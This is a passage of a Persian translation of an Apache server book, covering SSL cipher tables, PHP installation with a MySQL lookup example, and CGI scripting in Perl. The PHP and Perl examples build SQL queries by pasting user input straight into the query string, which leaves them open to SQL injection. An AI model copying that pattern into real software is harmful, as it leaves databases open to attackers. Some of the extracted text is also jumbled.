NULL-SHA                SSLv3 Kx=RSA      Au=RSA  Enc=None      Mac=SHA1 
NULL-MD5                SSLv3 Kx=RSA      Au=RSA  Enc=None      Mac=MD5 
EDH-RSA-DES-CBC3-SHA    SSLv3 Kx=DH       Au=RSA  Enc=3DES(168) Mac=SHA1 
...                     ...               ...     ...           ... 
EXP-RC4-MD5             SSLv3 Kx=RSA(512) Au=RSA  Enc=RC4(40)   Mac=MD5  
export 
EXP-RC2-CBC-MD5         SSLv2 Kx=RSA(512) Au=RSA  Enc=RC2(40)   Mac=MD5  
export 
EXP-RC4-MD5             SSLv2 Kx=RSA(512) Au=RSA  Enc=RC4(40)   Mac=MD5  
export 

 

  :ازرتست عبا cipher-specبراي فرض  رشته پيش
"ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP" 

  مثال
SSLCipherSuite RSA:!EXP:!NULL:+HIGH:+MEDIUM:-LOW 

 

  . آورده شده است8-7 و 7-7در جداول  SSLهلمن براي - و ديفيRSAرمزهاي خاص ليست كامل 
 SSL براي RSAرمزهاي خاص . 7-7جدول 

Cipher Tag Protocol Key Ex. Auth. Enc. MAC Type 
DES-CBC3-SHA SSLv3 RSA RSA 3DES(168) SHA1   

DES-CBC3-MD5 SSLv2 RSA RSA 3DES(168) MD5   

IDEA-CBC-SHA SSLv3 RSA RSA IDEA(128) SHA1   

RC4-SHA SSLv3 RSA RSA RC4(128) SHA1   

RC4-MD5 SSLv3 RSA RSA RC4(128) MD5   

IDEA-CBC-MD5 SSLv2 RSA RSA IDEA(128) MD5   

RC2-CBC-MD5 SSLv2 RSA RSA RC2(128) MD5   

RC4-MD5 SSLv2 RSA RSA RC4(128) MD5   

DES-CBC-SHA SSLv3 RSA RSA DES(56) SHA1   

RC4-64-MD5 SSLv2 RSA RSA RC4(64) MD5   

DES-CBC-MD5 SSLv2 RSA RSA DES(56) MD5   

EXP-DES-CBC-SHA SSLv3 RSA(512) RSA DES(40) SHA1 export 
EXP-RC2-CBC-MD5 SSLv3 RSA(512) RSA RC2(40) MD5 export 
EXP-RC4-MD5 SSLv3 RSA(512) RSA RC4(40) MD5 export 
EXP-RC2-CBC-MD5 SSLv2 RSA(512) RSA RC2(40) MD5 export 
EXP-RC4-MD5 SSLv2 RSA(512) RSA RC4(40) MD5 export 
NULL-SHA SSLv3 RSA RSA None SHA1   
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NULL-MD5 SSLv3 RSA RSA None MD5   

  

 

  SSLبراي هلمن -ديفيرمزهاي خاص . 8-7جدول 
Cipher Tag Protocol Key Ex. Auth. Enc. MAC Type 

ADH-DES-CBC3-SHA SSLv3 DH None 3DES(168) SHA1   

ADH-DES-CBC-SHA SSLv3 DH None DES(56) SHA1   

ADH-RC4-MD5 SSLv3 DH None RC4(128) MD5   

EDH-RSA-DES-CBC3-SHA SSLv3 DH RSA 3DES(168) SHA1   

EDH-DSS-DES-CBC3-SHA SSLv3 DH DSS 3DES(168) SHA1   

EDH-RSA-DES-CBC-SHA SSLv3 DH RSA DES(56) SHA1   

EDH-DSS-DES-CBC-SHA SSLv3 DH DSS DES(56) SHA1   

EXP-EDH-RSA-DES-CBC-SHA SSLv3 DH(512) RSA DES(40) SHA1 export 
EXP-EDH-DSS-DES-CBC-SHA SSLv3 DH(512) DSS DES(40) SHA1 export 
EXP-ADH-DES-CBC-SHA SSLv3 DH(512) None DES(40) SHA1 export 
EXP-ADH-RC4-MD5 SSLv3 DH(512) None RC4(40) MD5 export 

 



 

  
  
  
  

  
  
  

 :همدفصل  10
PHP  
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PHP)  راي بمخفف بازگشتيPHP: Hypertext Preprocessor(  سـاخت   براي هاترين راه سادهيكي از

تعبيه  HTMLاسناد  كند و دستورها را در         استفاده مي  36 الگو استراتژي از   PHP .هاي تحت وب است     برنامه
  . دهد اين كار را با ظرافت و هنرمندي انجام مي PHP .نمايد مي

PHP       نحو ساده آن مبتني بر   . شده است ايجاد  براي سادگي در توسعه وبگاههاC و تا حدي Perl   بـوده
كـوچكي و سـادگي آن     نـسبتاً جديـد بـوده ولـي          PHP. سازد  ساده مي نويسان    براي بسياري از برنامه   و آن   

  .دهد ميزان هزينه توليد را كاهش مي
رخنـة   4.2.2هاي قيل از      نسخه.  وجود دارد  PHPهشدارهاي امنيتي براي    رسد تعداد زيادي      به نظر مي  

ايـن  . اجـرا كننـد   هر اسكريپتي را بـا مجـوز كـارگزار وب           داد كه     به مهاجمين اجازه مي   بزرگي داشتند كه    
عمـل كـرده    webgroupو  webuserهـاي مـا در اسـتفاده از        توصيه، ولي اگر    تواند هشدار دهنده باشد     مي

  .اين مسأله بزرگي نخواهد بودباشيد، 
اند كه به كاربر فرستاده        شده HTML بخشي از صفحه     CGIهاي  در واقع كد  ممكن است فكر كنيد كه      

 ايـن قـدر هـم       PHP. گيرنـد   چيزهايي بيش از آن چه كه بايد، يـاد مـي           ممكن است    افراد بدخواه شود،    مي
  .كند كدها را قبل از فرستادن به كاربر حذف ميلوح نيست و  ساده

  PHPنصب  10-1
رفتـه و    downloads بخـش    net.php.www://httpبـراي ايـن كـار بـه         . بسيار ساده است   PHPنصب  

  . است2MBدريافت نماييد كه معمولا نسخه فشرده آن حدود  را PHPآخرين نسخه 
ايـن فايـل دو سـاخت را پيـشنهاد     .  را مطالعـه نماييـد  INSTALLپس از باز كردن فايل فشرده، فايل   

سـاخت ايـستا   خواهيم و ديگـري    كه ما آن را نمي (DSO)اجول آپاچي    يكي براي ساخت پوياي م     :كند  مي
البتـه  (دهـيم      قـرار مـي    usr/src/php/php-4.0.1p12/پس از سـاخت آن را در شـاخه          . كه انتخاب ماست  

يـد و آن را كمپايـل        فـرض كنيـد كـه مـتن آپـاچي را دار            .) ممكن است متفاوت باشد    PHPشماره نسخه   
  :كنيد، آنگاه دستور زير را وارد كنيد ه مي استفادMySQLايد و از  كرده

./configure --with-mysql --with-apache=../../apache/apache_1.3.9 --
enable-track=vars 
make 
make install 

  :به شاخه آپاچي رفته و دستور زير را اجرا كنيداكنون 
./configure --prefix=/www/APACHE3 --activate-
module=src/modules/php4/libphp4.a 
make 

                                                 
36 Template  
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سـپس  . كنـيم    كپي مي  usr/local/sbin/httpd.php4/سازد كه آن را در         جديدي مي  httpdاين دستور   

اين فـايلي اساسـي اسـت كـه داراي          . ويرايش كنيد را   usr/local/lib/php.ini/ فايل   PHPبراي پيكربندي   
ولي خوب است هر از چنـد گـاهي   . ر دهيدفرض بوده و لازم است هر چه زودتر آن را تغيي           پيكربندي پيش 

  . بخوانيدشويد آن را دوباره   بيشتر آشنا ميPHPكه با 
  :) نگاه كنيدsite.phpبه (حالا فايل پيكربندي را ويرايش نماييد 

User webuser 
Group webgroup 
ServerName www.butterthlies.com 
DocumentRoot /usr/www/APACHE3w/APACHE3/site.php/htdocs 
AddType application/x-httpd-php .php 

  
  :است htdocs/ …اين يك فايل آزمون بسيار ساده در 

<HTML><HEAD>PHP Test</HEAD><BODY> 
This is a test of PHP<BR> 
<?phpinfo( )?> 
</BODY></HTML> 

  :اين همان خط جادويي است
<?phpinfo( )?> 

  .كند  توليد ميPHPهاي محيط  ز دادهود، صفحه مرتبي اش هنگامي كه اجرا مي

10-2 Site.php  
پايگـاه داده   ن به كارفرمـا امكـان جـستجو در          وات  هيم چگونه مي  د  نشان مي در اين بخش ضمن توضيح      

  .كاربران داداسامي 
 قابـل   php.mysql.ref/en/manual/net.php.www//:http سخت نيـست و راهنمـاي آن از     PHPنحو  

  .sname و xname:  پايگاه داده داراي دو فيلد است.دريافت است
ود و بنـابراين بـه طـور خودكـار اجـرا شـده و فـرم اسـتاندارد                   ش   خوانده مي  index.htmlاولين صفحه   

HTMLكند  را توليد مي:  
<HTML> 
<HEAD> 
<TITLE>PHP Test</TITLE> 
</HEAD> 
 
<BODY> 
<form action="lookup.php" method="post"> 
Look for people. Enter a first name:<BR><BR> 
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First name:&nbsp <input name="xname" type="text" size=20><BR> 
<input type=submit value="Go"> 
</form> 
</BODY> 
</HTML> 

  
. شود براي اجرا داده مي lookip.php برگشتي به فرمكنيم كه  مشخص مي عنصر فرم،    actionدر بخش   

  .باشد  ميMySQL شامل واسط به PHPاين فايل شامل اسكريپت 
  :باشد اسكريپت به صورت زير مي

<HTML> 
<HEAD> 
<TITLE>PHP Test: lookup</TITLE> 
</HEAD> 
 
<BODY> 
Lookup: 
<?php print "You want people called $xname"?><BR> 
We have: 
 
<?php 
/* connect */ 
mysql_connect("127.0.0.1","webserv",""); 
mysql_select_db("people"); 
/* retrieve */ 
$query = "select xname,sname from people where xname='$xname'"; 
$result = mysql_query($query); 
/* print */ 
while(list($xname,$sname)=mysql_fetch_row($result)) 
 { 
 print "<p>$xname, $sname</p>"; 
} 
mysql_free_result($result); 
?> 
 
</BODY> 
</HTML> 

  .آيد  مي*/ و /* بين C توضيحات مانند .گيرد قرار مي php?> و  <?يها نشان بين PHPكد 
  :گامهاي استاندارد براي برداشتن عبارتند از

است بخواهيد يك اتصال دائمي بـراي جلـوگيري از          ممكن   در يك وبگاه واقعي      – MySQLاتصال به    •
  . و جو برقرار سازيد سربار اتصال مجدد هر پرس

  people در اينجا –خاص فراخواني يك پايگاه داده  •
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 :ساخت يك پرس و جو از پايگاه داده •
select xname,sname from people where xname='$xname' 

 result$ -ير و ذخيره نتيجه در يك متغانجام پرس و جو  •

 مقتضيمشخص كردن ركوردهاي  براي result$پردازش  •

 چاپ خط به خط داده خروجي •

  براي آزاد كردن حافظه آنresult$آزاد كردن  •

  :كنيم عبارت زير را مشاهده ميو در صفحه نمايش 
Lookup: You want people called jane 
We have:  
Jane, Smith 
Jane, Jones 

 . وارد كنيـد   MySQLمحـيط    دقيقا مشابه همان عبارتي است كـه در بايـد در             query$محتواي متغير   
  :زير كار خواهد كردنكته قابل توجه آن است كه اگرچه پرس و جوي 

select * from name where xname='$xname' 

  : بتواند به آنها مقدار دهي كندPHPبايد فيلدهاي متغير را مشخص كنيد تا ولي 
select xname, sname from name where xname='$xname' 

  :توان انجام داد تري مي كد پيچيده را با پرس و جوي اولالبته اين 
... 
$query = "select * from people where xname='$xname'"; 
$result = mysql_query($query); 
 
/* print */ 
while($row=mysql_fetch_array($result,MYSQL_NUM)) 
 printf("<BR>%s %s",$row[0],$row[1]); 
 
mysql_free_result($result); 
... 

خـط زيـر از     . تنها مشكل اتصال بـه پايگـاه داده اسـت         هنگامي كه بخواهيم كد بالا را اجرا كنيم،           
  : رونوشت شده استPHPراهنماي 

mysql_connect("localhost","myusername","mypass"); 

از اشين تستي كه در سه فصل اول معرفي كرديم، انجام دهـيم؛ بايـد               اگر بخواهيم مطابق نصب روي م     
  :دستور زير استفاده كنيم

mysql_connect("localhost","webserv",""); 

  :پيام ناخوشايند زير را توليد كردكه 
Warning: MySQL Connection Failed: Can't connect to local MySQL server 
through socket '/tmp/mysql.sock' (38) in 
/usr/www/APACHE3/site.php/htdocs/test.php on line 7 
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طبـق  . مشخص كردن آدرس در دسترس نبوده اسـت براي  DNSآن باشد كه اين ممكن است به علت      

  :راههاي مختلفي براي رفع اين مشكل وجود دارد PHPمستندات 
 :فرض مشخص كردن شماره درگاه پيش •

mysql_connect("localhost:3306","webserv",""); 

 :اضافه كردن خط زير براي usr/local/lib/php.ini/ويرايش  •
mysql.default_port = 3306 

 :پيكربنديدرج خط زير در فايل  •
SetEnv MYSQL_TCP_PORT 3306 

  :ولي خوشبختانه كافي است از قطعه كد زير استفاده كنيد! البته هيچ يك از روشهاي بالا كار نكرد
mysql_connect("127.0.0.1","webserv",""); 
 

  خطاها 10-2-1
، بـا پيـام زيـر در    ( )printfخط  پس از {يك با اضافه كردن خطاي نحوي مرتكب شويد، مثلاً اگر يك 

  :مرورگر مواجه خواهيد شد
Parse error: parse error in /usr/www/APACHE3/site.php/htdocs/lookup2.php 
on line 25 

ممكـن  تر    در مثالهاي واقعي  .  نحوي نيستند كه بايد با آنها دست و پنجه نرم كنيد           اگرچه تنها خطاهاي  
  :كند  ارائه ميPerl نحو مشابهي با PHP. مواجه شويدتري  كننده است با خطاهاي گمراه

mysql_connect("127.0.0.1","webserv","") or die(mysql_error( )); 
mysql_select_db("people")  or die(mysql_error( )); 
 

ند اجرا كرده و سپس ك كه يك رشته را گرفته و چاپ مييا تابعي را پيامي را چاپ كرده و  ( ) dieتابع 
كه وجود ندارد، پـرس و جـو         people2اي مانند    از پايگاه داده   مبخواهيارگ  به عنوان نمونه    . ودش  خارج مي 

 ( ) dieهمـين باعـث اجـراي    . گردانـد   برمـي 0 با شكست مواجه شده و ( ) mysql_select_db، تابع كنيم
را در صـفحه   MySQLايـن تـابع خطـاي    . دكن ـ  را فراخواني مـي ( ) my_sql_errorخود تابع شود كه  مي

HTMLدرج خواهد كرد :  
Lookup: You want people called jane 
We have: Unknown database 'people2'   

ايـن كـار    . آشكار شـوند   براي افراد بد     HTMLا در صفحات    با اين حال ممكن است نخواهيد اين پيامه       
سراسـري بـه نـام      به طور خلاصه بايـد يـك متغيـر          . خارج از محدوده اين كتاب است     ممكن است و البته     
$error_level    را بهdevelop   ياlive  اگر به   .  مقداردهي كنيدdevelop   ،راهبـر خطـا،   مقداردهي كنيـد

تابع ديگري فراخواني شده كه پيـام مؤدبانـه زيـر را چـاپ               مقداردهي شود،    live اگر به    . را اجرا خواهد كرد    ()dieتابع  
  :خواهد كرد
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We are sorry that an error has occurred 

 ممكـن اسـت بخواهيـد كـه پيـام بـا تـابع               . خواهد نوشت در كارگزار   و پيامي را در فايل رويدادنگاري       
mail()براي شما فرستاده شود .  



 

  
  
  
  
  
  
  

  
  
  

 :دهميازفصل  11
CGI و PERL  
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CGI      صال وبگاههـا بـه منطـق       يكي از قديمي ترين ابزارها براي ات ـ       1 يا به عبارتي واسط دروازه مشترك

و وبگاههـا   واسط اسـتانداردي را بـين        CGI. نقطه شروع به شمار مي رود     برنامه است و هنوز هم به عنوان        
  آسـان  دستكاري در خود كارگزار هاي كاربردي را بدون      برنامهنوشتن  برنامه هاي كاربردي ارائه مي كند و        

زبـاني كـه غالبـاً مـورد اسـتفاده مـي             ها را مي توان با زبانهاي گوناگوني نوشت ولي           CGIاگرچه  . مي كند 
  . شرح مي دهدPerlو پياده سازي آن را با  مي پردازد CGIقابليتهاي به اين فصل .  استPerlزبان گيرد، 

  CGIدنياي  11-1
بخواهيـد بـا    اگـر   . به كار خـود ادامـه دهنـد       ها    اسكريپتبسيار كمي هستند كه بتوانند بدون       سايتهاي  

، از ديـدار مجـدد شـما        علي بهرامـي  سلام آقاي   "يا حتي خيلي ساده جمله      مشتري تعامل داشته باشيد و      
 نوشتن  نياز به ) با وارسي كوكي كه بعدا در اين فصل به آن خواهيم پرداخت امكان پذير است              ( "متشكريم

از نوشـتن برنامـه هـاي       تفسير مـي شـوند و عمومـا         ) و نه هميشه  (ها معمولاً     اسكريپت. چند خط كد دارد   
  . تر هستندساده رسمي و كمپايل آنها 

  . نويسي و اجراي آنها مي پردازيمدر ابتدا كمي به مفاهيم اصلي اسكريپت

  ها نوشتن و اجراي اسكريپت 1- 11-1
.  به خصوصي است كه توسط كامپيوتر اجرا مـي شـود         براي انجام  اي از دستورها    مجموعهيك اسكريپت   

روي كامپيوترتان و در خط فرمان يك ويرايشگر را باز كرده و خطـوط زيـر را                  روشن تر شدن مطلب      براي
  :در آن وارد كنيد

#! /bin/sh 
echo "have a nice day"  

  : نماييدجرابا دستور زير قابل ا ذخيره كرده و آن را fredفايل را با عنوان 
chmod +x fred 

  :سپس آن را را با دستور زير اجرا كنيد
./fred 

اي بـر هاي مفيدي بنويسيد كه  مي توانيد اسكريپت. شود  مشاهده ميhave a nice dayپيام در خرجي 
  .كاربران شما در وب مفيد باشد

   آپاچيها و  اسكريپت 2- 11-1
  :دو نكته در اينجا وجود دارد. پاچي اجرا شوداسكريپتي كه قرار است در وب مفيد باشد، بايد توسط آ

 .اسكريپت را در موقع لزوم اجرا مي كندسيستم عامل اطمينان از اين كه  .1

                                                 
1 Common Gateway Interface 
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 .براي اجراي اسكريپت درست پيكربندي شده استآپاچي  .2

  اسكريپت اجرايي 1- 2- 11-1
ن بـراي   بنـابراي .  بايد از ديدگاه سيستم عامل قابل اجرا باشـد         CGIاسكريپت  به خاطر داشته باشيد كه      

اجـرا نـشد،    اگـر   . ر مي برد، اجـرا نماييـد       شناسه كاربري كه آپاچي به كا      از طرف توانيد آن را      آزمايش، مي 
طـرف كـاربر و معـادل آن در فايلهـاي رويـدادنگاري             مشكلي وجود دارد كه معمولا با پيامهاي خطايي در          

  :به عنوان مثال. شود مشخص مي
You don't have permission to access /cgi-bin/mycgi.cgi on this server 

  آپاچي پيكربندي  11-2
: فايــل پيكربنــدي خــواهيم داشــت   از آنجــا كــه از دو روش كلــي اســتفاده خــواهيم كــرد، دو      

…/conf/http1.conf  و …/conf/http2.conf .  اسكريپتgo  گيرد  مي2 يا 1آرگومان.  

 cgi-binاسكريپت در  1- 11-2

. اسـتفاده كنيـد   تـان     خارج فضاي وب  اشاره به يك محل امن      ي  براپيكربندي  در فايل    ScriptAlias از  
امنيت به  «. شود  مي كدها   تحليل شما و    يدسترسي احتمالي خرابكاران به كدها    كار باعث جلوگيري از     اين  

  .مي تواند مفيد باشدبا مكانيزمهاي ديگر استفاده آن ولي سياست كارايي نيست  »2وسيله اختفا

ــتهاي ا   ــري درخواس ــراي راهب ــحيح     ب ــل ص ــه مح ــكريپت ب ــراي اس ــل  ) cgi-bin/…( ج ــد فاي باي
…/site.cgi/conf/httpd1.conf را مطابق زير تغيير دهيم:  

User webuser 
Group webgroup 
ServerName www.butterthlies.com 
 
#for scripts in ../cgi-bin 
ScriptAlias /cgi-bin /usr/www/APACHE3/cgi-bin 
DirectoryIndex /cgi-bin/script_html 

 DocumentRootاسكريپت در  2- 11-2

ايـن كـار را     البته تنها وقتـي     .  قرار دهيد  HTMLروش ديگر آن است كه اسكريپت را در ميان فايلهاي           
به طـور كلـي بهتـر اسـت از يـك شـاخه              . ها اطمينان داريد     دهيد كه كاملاً به نويسندگان اسكريپت      انجام

نخـست آنكـه نويـسندگان فايلهـاي        : ايـن كـار دو مزيـت دارد       . داستفاده نمايي ـ ها    جداگانه براي اسكريپت  
HTML فايلهاي اجرايي را در درخت وب قرار داده و موجب نفوذهـاي            با  يا عمداً   توانند به طور اتفاقي       نمي

بـا مجـزا كـردن      . شـود   تـر مـي     كار براي مهاجمين احتمـالي و افـراد بـدخواه سـخت            دوم   .احتمالي گردند 
  .روي آنها اعمال كردنترلهاي بيشتري توان ك ها مي اسكريپت

                                                 
2 "Security by obscurity" 
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را  mycgi.cgiبـه هـر حـال بـراي ايـن كـار       . شود، مگر آن كه مجبور باشيد      اين روش اصلا توصيه نمي    
 به صورت زيـر     site.cgi/conf/httpd2.conf/…،  فايل پيكربندي   . دهيم  مي قرار   site.cgi/htdocs/…شاخه  
  :است

User webuser 
Group webgroup 
ServerName www.butterthlies.com 
DocumentRoot /usr/www/APACHE3/site.cgi/htdocs 
AddHandler cgi-script cgi 
Options ExecCGI 

  
AddHandler براي مشخص كـردن راهبـر فايلهـاي بـا پـسوند       را.cgi    كـه همـان cgi-script  ،اسـت 

در نظـر    را به عنـوان فايـل اجرايـي           cgi.اين بدان معني است كه آپاچي فايلهاي با پسوند          . استفاده كنيد 
براي اجراي آپاچي دسـتور زيـر را اجـرا    .  را نياز اضافه نماييدOptions ExecCGIهمچنين بايد . گيرد مي

  :نماييد
./go 2 

  .توان دسترس داشت مي http://www.butterthlies.com/ mycgi.cgiآدرس با به اين اسكريپت 
 براي آزمون روش اول  cgi-bin/…: را در دو محل داريم mycgi.cgiاسكريپت ساده فعلا براي آزمايش 

 C يـا    Perlتـوان بـه هـر زبـاني ماننـد             اين اسكريپت را مي   . براي آزمون روش  دوم     site.cgi/htdocs/…و  
  .نوشت

  :مشابه زير است mycgi.cgiاسكريپت 
#!/bin/sh 
echo "Content-Type: text/plain" 
echo 
echo "Have a nice day" 

11-2 -3 Perl 
. وجود دارد و به راحتي قابل نصب اسـت        هاي يونيكس و به خصوص لينوكس          همراه توزيع  Perlمعمولاً  

. يك راهنماي برخط نيـز دارد      Perl  .دريافت كرد   org.perl.www://http را مستقيماً از     Perlتوان    ولي مي 
شـرح تـابع    perldoc –f printبراي مثال . دهد ه كار اين راهنما را شرح مينحو perldoc perldocدستور 

print  دهد و  نشان مي راperldoc –q print   كلمه"print" را درPerl FAQكند  جستجو مي.  
  : به صورت زير استPerlيك اسكريپت ساده 

#! /usr/bin/perl -wT 
use strict; 
 
print "Hello world\n"; 
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هـشدارها را نـشان داده و دادة ورودي را بـراي            كنـد كـه        بار مي  wT– را با گزينه     Perlر  مفسخط اول   
وارد از طـرف كـاربران بـدخواه و مهـاجم           هاي كثيـف      داده. كند  بررسي مي  (Taint)هاي كثيف     دادهيافتن  

اب  براي اطلاعات بيـشتر بـه كت ـ       .براي نفوذ و خرابكاري باشد    و ممكن است شامل كدهاي مخربي       شود    مي
Programming Perl  توسـط Larry Wall ،Jon Orwant و Tom Christiansen)   انتـشاراتO'Reilly (

 عادت   بهتر است   لازم نيست، ولي   T–از آنجا كه اسكريپت ما ورودي ندارد، در اينجا گزينه           . مراجعه نماييد 
استفاده از متغيرهـا    هاي بيشتري در      گيري  خط دوم هم باعث سخت    .  كه هميشه از آن استفاده كنيد      كنيد

 خـط سـوم هـم جملـه كوتـاهي را در             .هاي وب لازم است     شود كه براي نوشتن اسكريپت      و ديگر موارد مي   
  .كند صفحه چاپ مي

 آن را اجرايـي  chmod +x hello.plذخيـره كـرده و بـا دسـتور      hello.plپس از نوشتن، آن را بـا نـام   
  .جرا نماييدتوانيد آن را ا  ميhello.pl/.با دستور . نماييد

هميشه بـراي كـشف     دهيد،    نويسيد يا اسكريپت قديمي را تغيير مي        هنگامي كه اسكريپت جديد را مي     
  .خطاهاي نحوي آن را در خط دستور اجرا نماييد

11-2 -4 HTML  
در . كنـد  اي را بـه طـور سـاده در صـفحه چـاپ مـي                اسكريپتي كه در بخش قبل نوشتيم، تنهـا جملـه         

بايـد  براي اين كـار  . تري را در صفحه مرورگر كاربر نشان دهيم ون پيچيدهخواهيم مت   ميكاربردهاي واقعي   
 ولي   چندان مشكل نيست   HTML قالب   .مرورگر بفرستيم آرايش كرده و به      HTML را با كدهاي     خروجي

 باعـث   HTMLخطاهاي جزئي در كـد       به ياد داشته باشيد كه ممكن است         .به هر حال بايد آن را بياموزيد      
هـاي     بنابراين خروجي را هميشه با آخرين نـسخه        .ر مرورگر به خوبي نمايش داده نشود      خروجي د شود كه   

 ماننـد   HTMLتوانيد از ابزارهـاي وارسـي كـد           مي.  وارسي نماييد  IE و   Firefoxمرورگرهاي معروف مانند    
WebLint) weblint/bin-cgi/edu.uiuc.ews.www://http (  يـــــــــــــــــاHTML. Dr 

)/RxHTML/com.imagiware.2www://http (استفاده كنيد.  

  اجراي اسكريپت با آپاچي 5- 11-2
ليست افرادي  اسكريپت قبلي را براي چاپ      نخست  . زمان اجراي اسكريپت با آپاچي رسيده است      اكنون  

  .ناميم  ميcgi-bin/script_html/…اين نسخه را . دهيم  است، تغيير مي"Anne"ام آنها نكه 
#! /usr/local/bin/perl -wT 
use strict; 
use DBI( ); 
 
my ($ref,$mesg,$dbm,$query,$xname,$sname,$sth,$rows); 
 
#print HTTP header 
print "content-type: text/html\n\n"; 
 
# open a database 
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$dbm=DBI->connect("DBI:mysql:database=people;host=localhost",'webserv') 
    or die "didn't connect to people"; 
 
# get it back 
$xname="Anne"; 
$query=qq(select xname, sname from people where xname like "%$xname%"); 
$sth=$dbm->prepare($query) or die "failed to prepare $query: $!"; 
 
# $! is the Perl variable for the current system error message 
$sth->execute; 
$rows=$sth->rows; 
 
#print HTML header 
print qq(<HTML><HEAD><TITLE>People's names</TITLE></HEAD><BODY> 
<table border=1 width=70%><caption><h3>The $rows People called 
'$xname'</h3></caption> 
<tr><align left><th>First name</th><th>Last name</th></tr>); 
while ($ref=$sth->fetchrow_hashref) 
    { 
    print qq(<tr align = right><td>$ref->{'xname'}</td><td> $ref-
>{'sname'}</td></tr>); 
    } 
print "</table></BODY></HTML>"; 
$sth->finish; 
# close the database connection 
$dbm->disconnect; 

 HTTPسرآيند  6- 11-2

 است كه در ابتداي هـر       HTTPآيد سرآيند     اصلي اسكريپت كه چندان هم به چشم نمي       عناصر   از   يكي
  . سازد هاي آتي باخبر مي مرورگر را از نوع داده و ظاهر شدهخروجي 

يـا بـه طـور      (هر چيزي قبل از اولين خط خالي         .كند  ندها و بدنه را توليد مي     سرآي CGIيك اسكريپت   
  .شود بعد از آن بدنه محسوب ميرود و  جزو سرآيند به شمار مي) CRLF CRLFتر  دقيق

  . شوند  جدا ميCRLF يا LFخطوط سرآيند با 
مـوردي  زم را به جـز      سرآيندهاي لا تمام  و آپاچي    )كنيد  در صورتي كه از آن استفاده مي       (CGIماجول  

  :اين سرآيند معمولا عبارتست از. فرستند كنترل شود، را ميتوسط خود اسكريپت كه ممكن است 
print Content-Type: text/html\n\n"; 

  :خواهيد متن معمولي بفرستيد از دستور زير استفاده كنيد  ميHTMLاگر به جاي 
print "Content-Type: text/plain\n\n"; 

  . كند انتهاي سرآيند را مشخص مي) Perl و C در newline( دوم n\د كه توجه كني
  :، خط زير را اضافه نماييد ديگري منحرف كنيدURLمرورگر كاربر را به اگر بخواهيد 

print "Location: http://URL\n\n" 
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 CGI  از سـرآيندهاي    فهرسـت كـاملي     . توليد كنند توانند هر گونه سرآيند معتبري را          ها ميHTTP  را
 1.1HTTP ( txt.2616rfc/rfc/org.ietf.www://httpتوصـيف  ( 2616RFC سـند  14بخـش  توانيد در  مي

  .بيابيد

  گرفتن داده از كاربر 7- 11-2
گزار و انجام كاري روي آن      ، فرستادن به كار   به گرفتن داده از كاربر      ، نياز   واقعيدر بسياري از سايتهاي     

ه از كـاربر    اسـتانداردي را بـراي گـرفتن داد        HTML. تجارت الكترونيك اسـت   مكانيزم اساسي   اين  . داريم
وارد شده در   هاي    ، داده در توصيف فرم مورد استفاده قرار گيرد       'Method='POSTاگر  . فرم: كند  فراهم مي 

  .  به آنها دست يافتstdinتوان با خواندن از  ت ميگيرد و در اسكريپ اسكريپت قرار مي در اختيار فرم
my ($data); 
$data=<>; 

)  org.cpan://httpقابـل دريافـت از   ( CGIماجولهاي آماده ماننـد مـاجول   در كاربردهاي واقعي بهتر از     
  . كرداستفادههاي فرم  دادهبين اسكريپت و راهبري واسط براي 

كند و همان اسكريپت پيكربنـدي    را توليد ميHTMLفرم كه  كه بهتر است اسكريپتي     رسد    ظر مي به ن 
هاي ورودي بررسي شده و در صورت وجود پـردازش           دادهدر بالاي اسكريپت    . هاي فرم باشد    پردازشگر داده 

  .شود توليد ميها   دادهفرم حاوي HTMLشوند و در صورت عدم وجود صفحه  مي

  يمتغيرهاي محيط 8- 11-2
خيلي مفيد خواهـد بـود      . دشو  هر درخواست از مرورگر حاوي اطلاعاتي است كه به آپاچي فرستاده مي           

  :اي به شكل زير داشته باشيم اگر زيررويه
sub print_env 
    { 
    foreach my $e (keys %ENV) 
        { 
        print "$e=$ENV{$e}\n"; 
        } 
    } 

لاي يك صفحه وب فراخواني كنيد، چيزي شبيه به زير در صـفحه خـود خواهيـد                 اين رويه را در با    اگر  
  :ديد

SERVER_SOFTWARE = Apache/1.3.9 (Unix) mod_perl/1.22 
GATEWAY_INTERFACE = CGI/1.1 
DOCUMENT_ROOT = /usr/www/APACHE3/MedicPlanet/site.medic/htdocs 
REMOTE_ADDR = 192.168.123.1 
SERVER_PROTOCOL = HTTP/1.1 
SERVER_SIGNATURE =  
REQUEST_METHOD = GET 
QUERY_STRING =  
HTTP_USER_AGENT = Mozilla/4.0 (compatible; MSIE 4.01; Windows 95) 
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PATH = 
/sbin:/bin:/usr/sbin:/usr/bin:/usr/games:/usr/local/sbin:/usr/local/bin: 
/usr/X11R6/bin:/root/bin 
HTTP_ACCEPT = image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,  
application/vnd.ms-excel, application/msword, application/vnd.ms-
powerpoint, */* 
HTTP_CONNECTION = Keep-Alive 
REMOTE_PORT = 1104 
SERVER_ADDR = 192.168.123.5 
HTTP_ACCEPT_LANGUAGE = en-gb 
SCRIPT_NAME =  
HTTP_ACCEPT_ENCODING = gzip, deflate 
SCRIPT_FILENAME = /usr/www/APACHE3/MedicPlanet/cgi-bin/MP_home 
SERVER_NAME = www.Medic-Planet-here.com 
PATH_INFO = / 
REQUEST_URI = / 
HTTP_COOKIE = Apache=192.168.123.1.1811957344309436; Medic-
Planet=8335562231 
SERVER_PORT = 80 
HTTP_HOST = www.medic-planet-here.com 
PATH_TRANSLATED = /usr/www/APACHE3/MedicPlanet/cgi-bin/MP_home/ 
SERVER_ADMIN = [no address given 

  
بـه عنـوان نمونـه      .  قابل دسترسي هستند   ENV$متغيرهاي محيطي در درون اسكريپت از طريق        تمام  

  . است'CGI/1.1'برابر با  ENV{"GATEWAY_INTERFACE'}$مقدار 
دقت كنيد  . برخي رفتارهاي آپاچي مورد استفاده قرار بگيرند      براي كنترل   توانند    ميمتغيرهاي محيطي   

شـود،    صحت آنها وارسـي نمـي     كنيد و جايي      اينها تنها متغيري هستند كه مقدارشان را شما تعيين مي         كه  
  .خيلي مواظب باشيدهنگام استفاده از آنها بنابراين 

  مقداردهي متغيرهاي محيطي  11-3
ممكن . كند  شود، تعدادي زيادي متغيرهاي محيطي دريافت مي        هنگامي كه يك اسكريپت فراخواني مي     

: دو ديركتيو براي ايـن منظـور وجـود دارنـد          . است بخواهيد يك متغير جديدي تعريف كرده و به رد كنيد          
SetEnv و PassEnv.  

SetEnv  

 
SetEnv variable value 
Server config, virtual hosts 
